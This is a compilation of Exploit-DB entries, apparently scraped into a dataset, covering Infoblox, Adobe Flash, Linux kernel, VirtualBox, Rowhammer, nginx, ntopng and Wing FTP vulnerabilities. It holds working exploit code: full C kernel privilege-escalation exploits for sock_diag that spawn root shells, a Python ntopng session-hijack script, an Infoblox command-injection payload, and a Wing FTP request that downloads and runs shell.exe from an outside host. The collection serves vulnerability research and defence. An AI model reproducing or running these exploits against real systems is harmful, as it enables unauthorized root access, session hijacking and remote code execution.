deardaniel/secdata-raw huggingface dataset:
Exploit-DB #34030
Description: Infoblox 6.8.2.11 - OS Command Injection
Type: webapps
Platform: linux_x86
Date: 2014-07-10
Author: Nate Kettlewell

Exploit:
Product: Network Automation, licensed as:
•         NetMRI
•         Switch Port Manager
•         Automation Change Manager
•         Security Device Controller

Vendor: Infoblox
Vulnerable Version(s): 6.4.X.X-6.8.4.X
Tested Version: 6.8.2.11

Vendor Notification: May 12th, 2014 
Vendor Patch Availability to Customers: May 16th, 2014
Public Disclosure: July 9th, 2014 

Vulnerability Type: OS Command Injection [CWE-78]
CVE Reference: CVE-2014-3418
Risk Level: High 
CVSSv2 Base Score: 10 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Solution Status: Solution Available

Discovered and Provided: Nate Kettlewell, Depth Security ( https://www.depthsecurity.com/ )

------------------------------------------------------------------------
-----------------------

Advisory Details:

Depth Security discovered a vulnerability in the Infoblox Network Automation management web interface. This attack does not require authentication of any kind.

1) OS Command Injection in Infoblox Network Automation Products: CVE-2014-3418

The vulnerability exists due to insufficient sanitization of user-supplied data in in skipjackUsername POST parameter. A remote attacker can inject operating system commands as the root user, and completely compromise the operating system.

The following is the relevant portion of the multipart/form-data POST request to netmri/config/userAdmin/login.tdf

Content-Disposition: form-data; name="skipjackUsername"

admin`ping -n 20 127.0.0.1`

------------------------------------------------------------------------
-----------------------

Solution:

Infoblox immediately released a hotfix to remediate this vulnerability on existing installations (v6.X-NETMRI-20710.gpg). 
The flaw was corrected in the 6.8.5 release (created expressly for dealing with this issue), and that release has been put into manufacturing for new appliances.

------------------------------------------------------------------------
-----------------------

Proof of Concept:

In addition to manual exploitation via the above mentioned vector, proof of concept is provided in the form of a module for the metasploit framework.

https://github.com/depthsecurity/NetMRI-2014-3418
------------------------------------------------------------------------
-----------------------

References:

[1] Depth Security Advisory - http://blog.depthsecurity.com/2014/07/os-command-injection-in-infoblox-netmri.html  - OS Command Injection in NetMRI.
[2] NetMRI - http://www.infoblox.com/products/network-automation/netmri - NetMRI is an Enterprise Network Management Appliance.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org/ - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[4] NetMRI Metasploit Module - https://github.com/depthsecurity/NetMRI-2014-3418
Exploit-DB #37868
Description: Adobe Flash (Linux x64) - Bad Dereference at 0x23c
Type: dos
Platform: linux_x86-64
Date: 2015-08-19
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=398&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

The attached sample, signal_sigsegv_7ffff603deef_1525_268381c02bc3b05c84578ebaeafc02f0.swf, typically crashes in this way on my Linux x64 build (Flash v17.0.0.188):

=> 0x00007f693155bf58:	mov    (%rdi),%rbx
rdi            0x23c	572

At first glance this might appear to be a NULL dereference but sometimes it crashes trying to access 0xc8 and different builds have shown crashes at much wilder addresses, so there is probably a use-after-free or other non-deterministic condition going on. For example, our fuzzing cluster saw a crash at 0x400000001.

The base sample from which the fuzz case is derived is also attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37868.zip
Exploit-DB #37880
Description: Adobe Flash - Heap Buffer Overflow Due to Indexing Error When Loading FLV File
Type: dos
Platform: linux_x86-64
Date: 2015-08-19
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=426&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

To reproduce, host the attached files appropriately, and:

http://localhost/LoadMP4.swf?file=crash3006694.flv

If there is no crash at first, refresh the page a few times.

With a debugger attached to 64-bit Flash in Chrome Linux, the crash manifests like this:

=> 0x00007f7779846eee:	mov    %ax,(%rdi,%rdx,2)

rax            0xff69
rdi            0x7f7778b70000
rdx            0x160b

7f777861e000-7f7778b72000 rw-p 00000000 00:00 0 
7f7778b72000-7f[PII_REDACTED] ---p 00000000 00:00 0 

It looks like an indexing error; the rdi "base" address is in bounds but add on 2*rdx and the address is not in bounds.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37880.zip
Exploit-DB #37879
Description: Adobe Flash - Heap Buffer Overflow Loading '.FLV' File with Nellymoser Audio Codec
Type: dos
Platform: linux_x86-64
Date: 2015-08-19
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=425&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

To reproduce, host the attached files appropriately and:

http://localhost/LoadMP4.swf?file=crash4000368.flv

If there is no crash at first, refresh the page a few times.

With a debugger attached to 64-bit Flash in Chrome Linux, the crash manifests like this:

=> 0x00007f7789d081bb <__memmove_ssse3_back+443>:	movaps %xmm1,-0x10(%rdi)

rdi            0x7f7778d69200

7f777894b000-7f7778d69000 rw-p 00000000 00:00 0 
7f7778d69000-7f7778d88000 ---p 00000000 00:00 0 

This looks very like a heap-based buffer overflow that just happens to have walked off the end of the committed heap.

Also, this bug bears disturbing similarities to CVE-2015-3043, see for example: https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37879.zip
Exploit-DB #37876
Description: Adobe Flash - XMLSocket Destructor Not Cleared Before Setting User Data in connect
Type: dos
Platform: linux_x86-64
Date: 2015-08-19
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=416&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

This issue is a variant of  issue 192 , which the fix did not address.

If XMLSocket connect is called on an object that already has a destroy function set, such as a BitmapData object, the method will set the user data of that object, but not clear the destroy function. This leads to type confusion when the user data is freed during garbage collection.

A PoC is as follows:

class subsocket extends flash.display.BitmapData{
	

	public function subsocket(){
			
	var n = {valueOf : func};
    this.valueOf = func;
	var x = new XMLSocket();

	x.connect.call(this, "127.0.0.1", this);

}

function func(){

	if(this){
		}
	this.__proto__ = {}; 
	this.__proto__.__constructor__ = flash.display.BitmapData;
	super(10, 10, true, 10);
	return 80;
	}
		
		
}
	

A SWF and fla are attached. Note that this PoC needs to be run on a webserver on localhost (or change the IP in the PoC to the server value), and it only crashes in Chrome on 64-bit Linux.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37876.zip
Exploit-DB #33585
Description: Linux Kernel 2.6.x (x64) - Personality Handling Local Denial of Service
Type: dos
Platform: linux_x86-64
Date: 2010-02-01
Author: Mathias Krause

Exploit:
source: https://www.securityfocus.com/bid/38027/info

The Linux kernel is prone to a local denial-of-service vulnerability.

Attackers can exploit this issue to cause the affected kernel to crash, denying service to legitimate users.

Versions prior to Linux kernel 2.6.33-rc6 are vulnerable.

NOTE: This issue can be exploited only on 64-bit architectures. Core dumps must be enabled.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33585.tgz
Exploit-DB #21224
Description: Oracle VM VirtualBox 4.1 - Local Denial of Service
Type: dos
Platform: linux_x86-64
Date: 2012-09-10
Author: halfdog

Exploit:
/*
source: https://www.securityfocus.com/bid/55471/info

Oracle VM VirtualBox is prone to a local denial-of-service vulnerability. 

Attackers can exploit this issue to cause denial-of-service conditions.
*/

/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  Copyright (c) 2012 halfdog <me (%) halfdog.net>
 *
 *  Compile: gcc -o RtcInt RtcInt.c
 *  Usage: ./RtcInt 
 */
int main(int argc, char **argv) {
  asm (
    "int $0x8;"
    : // output: none
    : // input: none
    :"%eax", "%ebx", "%ecx", "%edx"   // clobbered register
  );
  return(0);
}
Exploit-DB #36310
Description: Linux Kernel (x86-64) - Rowhammer Privilege Escalation
Type: local
Platform: linux_x86-64
Date: 2015-03-09
Author: Google Security Research

Exploit:
Sources:
http://googleprojectzero.blogspot.ca/2015/03/exploiting-dram-rowhammer-bug-to-gain.html
https://code.google.com/p/google-security-research/issues/detail?id=283

Full PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36310.tar.gz

This is a proof-of-concept exploit that is able to gain kernel
privileges on machines that are susceptible to the DRAM "rowhammer"
problem.  It runs as an unprivileged userland process on x86-64 Linux.
It works by inducing bit flips in page table entries (PTEs).

For development purposes, the exploit program has a test mode in which
it induces a bit flip by writing to /dev/mem.  qemu_runner.py will run
the exploit program in test mode in a QEMU VM.  It assumes that
"bzImage" (in the current directory) is a Linux kernel image that was
built with /dev/mem enabled (specifically, with the the
CONFIG_STRICT_DEVMEM option disabled).

Mark Seaborn
mseaborn@chromium.org
March 2015
Exploit-DB #24555
Description: Linux Kernel 3.3.x < 3.7.x (Arch Linux x86-64) - 'sock_diag_handlers[]' Local Privilege Escalation (1)
Type: local
Platform: linux_x86-64
Date: 2013-02-27
Author: sd

Exploit:
// archer.c
//
// 2012 sd@fucksheep.org
//
// Works reliably against x86-64 3.3-3.7 arch.
//
// Tested against:
//
// Linux XXX 3.3.1-1-ARCH #1 SMP PREEMPT Tue Apr 3 06:46:17 UTC 2012 x86_64 GNU/Linux
// Linux XXX 3.4.7-1-ARCH #1 SMP PREEMPT Sun Jul 29 22:02:56 CEST 2012 x86_64 GNU/Linux
// Linux XXX 3.7.4-1-ARCH #1 SMP PREEMPT Mon Jan 21 23:05:29 CET 2013 x86_64 GNU/Linux
// ...

#include <assert.h>

#define JUMP  0x[PII_REDACTED]001000LL
#define BASE  0x380000000
#define SIZE  0x010000000
#define KSIZE  0x2000000

static long ugid;

void patch_current() {
        int i,j,k;
        char *current = *(char**)(((long)&i) & (-8192));
        long kbase = ((long)current)>>36;

        for (i=0; i<4000; i+=4) {
                long *p = (void *)&current[i];
                int *t = (void*) p[0];
                if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
                for (j=0; j<20; j++) {
      for (k = 0; k < 8; k++)
                          if (((int*)&ugid)[k%2] != t[j+k]) goto next;
                        for (i = 0; i < 8; i++) t[j+i] = 0;
                        for (i = 0; i < 10; i++) t[j+9+i] = -1;
                        return;
next:;          }
        }
}


int main()
{
  long u = getuid();
  long g = getgid();
  int i, f = socket(16,3,4);
  static int n[10] = {40,0x10014,0,0,45,-1};

  assert(mmap((void*)(1<<12), 1<<20, 3, 0x32, 0, 0)!=-1);

  setresuid(u,u,u); setresgid(g,g,g);
  ugid = (g<<32)|u;

  memcpy(1<<12, &patch_current, 1024);
  for (i = 0; i < (1<<17); i++) ((void**)(1<<12))[i] = &patch_current;
  send(f, n, sizeof(n), 0);
  setuid(0);
  return execl("/bin/bash", "-sh", 0);
}
Exploit-DB #24746
Description: Linux Kernel 3.7.10 (Ubuntu 12.10 x64) - 'sock_diag_handlers' Local Privilege Escalation (2)
Type: local
Platform: linux_x86-64
Date: 2013-03-13
Author: Kacper Szczesniak

Exploit:
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/filter.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <linux/unix_diag.h>
#include <sys/mman.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long sock_diag_handlers, nl_table;

int __attribute__((regparm(3)))
x()
{
	commit_creds(prepare_kernel_cred(0));
	return -1;
}

char stage1[] = "\xff\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

int main() {
	int fd;
    unsigned long mmap_start, mmap_size = 0x10000;
	unsigned family;
	struct {
		struct nlmsghdr nlh;
		struct unix_diag_req r;
	} req;
	char	buf[8192];

	if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
		printf("Can't create sock diag socket\n");
		return -1;
	}

	memset(&req, 0, sizeof(req));
	req.nlh.nlmsg_len = sizeof(req);
	req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
	req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
	req.nlh.nlmsg_seq = 123456;

	req.r.udiag_states = -1;
	req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;

	/* Ubuntu 12.10 x86_64 */
	req.r.sdiag_family = 0x37;
	commit_creds = (_commit_creds) 0xffffffff8107d180;
	prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff8107d410;
    mmap_start = 0x1a000;

    if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
		MAP_SHARED|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {

		printf("mmap fault\n");
		exit(1);
    }

    *(unsigned long *)&stage1[sizeof(stage1)-sizeof(&x)] = (unsigned long)x;
    memset((void *)mmap_start, 0x90, mmap_size);
    memcpy((void *)mmap_start+mmap_size-sizeof(stage1), stage1, sizeof(stage1));

	send(fd, &req, sizeof(req), 0);
	if(!getuid())
		system("/bin/sh");
}
Exploit-DB #36311
Description: Rowhammer - NaCl Sandbox Escape
Type: local
Platform: linux_x86-64
Date: 2015-03-09
Author: Google Security Research

Exploit:
Sources:
http://googleprojectzero.blogspot.ca/2015/03/exploiting-dram-rowhammer-bug-to-gain.html
https://code.google.com/p/google-security-research/issues/detail?id=284

Full PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36311.tar.gz


This is a proof-of-concept exploit that is able to escape from Native
Client's x86-64 sandbox on machines that are susceptible to the DRAM
"rowhammer" problem.  It works by inducing a bit flip in read-only
code so that the code is no longer safe, producing instruction
sequences that wouldn't pass NaCl's x86-64 validator.

Note that this uses the CLFLUSH instruction, so it doesn't work in
newer versions of NaCl where this instruction is disallowed by the
validator.

There are two ways to test the exploit program without getting a real
rowhammer-induced bit flip:

 * Unit testing: rowhammer_escape_test.c can be compiled and run as a
   Linux executable (instead of as a NaCl executable).  In this case,
   it tests each possible bit flip in its code template, checking that
   each is handled correctly.

 * Testing inside NaCl: The patch "inject_bit_flip_for_testing.patch"
   modifies NaCl's dyncode_create() syscall to inject a bit flip for
   testing purposes.  This syscall is NaCl's interface for loading
   code dynamically.

Mark Seaborn
mseaborn@chromium.org
March 2015
Exploit-DB #32751
Description: Systrace 1.x (Linux Kernel x64) - Aware Local Privilege Escalation
Type: local
Platform: linux_x86-64
Date: 2009-01-23
Author: Chris Evans

Exploit:
/*
source: https://www.securityfocus.com/bid/33417/info

Systrace is prone to a local privilege-escalation vulnerability.

A local attacker may be able to exploit this issue to bypass access control restrictions and make unintended system calls, which may result in an elevation of privileges.

Versions prior to Systrace 1.6f are vulnerable.
*/

int
main(int argc, const char* argv[])
{
  /* Syscall 1 is exit on i386 but write on x86_64. */
  asm volatile("movl $1, %eax\n"
               "int $0x80\n");
  for (;;);
}
Exploit-DB #32277
Description: Nginx 1.4.0 (Generic Linux x64) - Remote Overflow
Type: remote
Platform: linux_x86-64
Date: 2014-03-15
Author: sorbo

Exploit:
nginx <= 1.4.0 exploit for CVE-2013-2028
by sorbo
Fri Jul 12 14:52:45 PDT 2013

./brop.rb 127.0.0.1

for remote hosts:
./frag.sh ip
./brop.rb ip

rm state.bin when changing host (or relaunching nginx with canaries)

scan.py will find servers, reading IPs from ips.txt



This is a generic exploit for 64-bit nginx which uses a new attack technique (BROP) that does not rely on a particular target binary.  It will work on any distro and even compiled from source installations.



Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32277.tgz
Exploit-DB #44973
Description: ntop-ng < 3.4.180617 - Authentication Bypass
Type: webapps
Platform: lua
Date: 2018-07-03
Author: Ioannis Profetis

Exploit:
'''
# Vulnerability title: ntop-ng < 3.4.180617 - Authentication Bypass
# Author: Ioannis Profetis
# Contact: me at x86.re
# Vulnerable versions: < 3.4[PII_REDACTED]
# Fixed version: 3.4.180617
# Link: ntop.org
# Date: 2.07.2018
# CVE-2018-12520

# Product Details
ntopng is the next generation version of the original ntop, a network traffic probe that shows the network usage, similar to what the popular top Unix command does. ntopng is based on libpcap and it has been written in a portable way in order to virtually run on every Unix platform, MacOSX and on Windows as well.

# Vulnerability Details
An issue was discovered in ntopng 3.4. 
The PRNG involved in the generation of session IDs is not seeded at program startup. 
This results in deterministic session IDs being allocated for active user sessions. An attacker with foreknowledge of the operating system and standard library in use by the host running the service and the username of the user whose session they're targeting can abuse the deterministic random number generation in order to hijack the user's session, thus escalating their access.

# Exploit
A proof-of-concept for this vulnerability can be found below. Note that this script has been tested with Python 2.7, and requires the 'requests' module, which can be found in the Python Package Index.
'''

import requests
import sys
import hashlib
from ctypes import *
libc = CDLL('libc.so.6')

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print('[-] Usage: python poc.py <host> <username>')
        sys.exit(1)

    host, username = sys.argv[1:]
    for i in range(256):
        print('[*] Trying with rand() iteration %d...' % i)
        session = hashlib.md5(('%d' % libc.rand()) + username).hexdigest()
        r = requests.get(host + '/lua/network_load.lua', cookies={'user': username, 'session': session})
        if r.status_code == 200:
            print('[+] Got it! Valid session cookie is %s for username %s.' % (session, username))
            break

'''
# Mitigation
Upgrade to the latest stable version of ntop-ng 3.4.

# Attack Type
Remote, Unauthenticated, Escalation of Privileges, Information Disclosure
'''
Exploit-DB #48676
Description: Wing FTP Server 6.3.8 - Remote Code Execution (Authenticated)
Type: webapps
Platform: lua
Date: 2020-07-16
Author: V1n1v131r4

Exploit:
# Exploit Title: Wing FTP Server 6.3.8 - Remote Code Execution (Authenticated)
# Date: 2020-06-26
# Exploit Author: v1n1v131r4
# Vendor Homepage: https://www.wftpserver.com/
# Software Link: https://www.wftpserver.com/download.htm
# Version: 6.3.8
# Tested on: Windows 10
# CVE : --

Wing FTP Server have a web console based on Lua language. For authenticated users, this console can be exploited to obtaining a reverse shell.

1) Generate your payload (e.g. msfvenom)
2) Send and execute via POST

POST /admin_lua_.html?r=0.[PII_REDACTED] HTTP/1.1
Host: 192.168.56.105:5466
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.105:5466/admin_lua_term.html
Content-Type: text/plain;charset=UTF-8
Content-Length: 153
Connection: close
Cookie: admin_lang=english; admin_login_name=admin; UIDADMIN=75e5058fb61a81e427ae86f55794f1f5

command=os.execute('cmd.exe%20%2Fc%20certutil.exe%20-urlcache%20-split%20-f%20http%3A%2F%2F192.168.56.103%2Fshell.exe%20c%3A%5Cshell.exe%20%26shell.exe')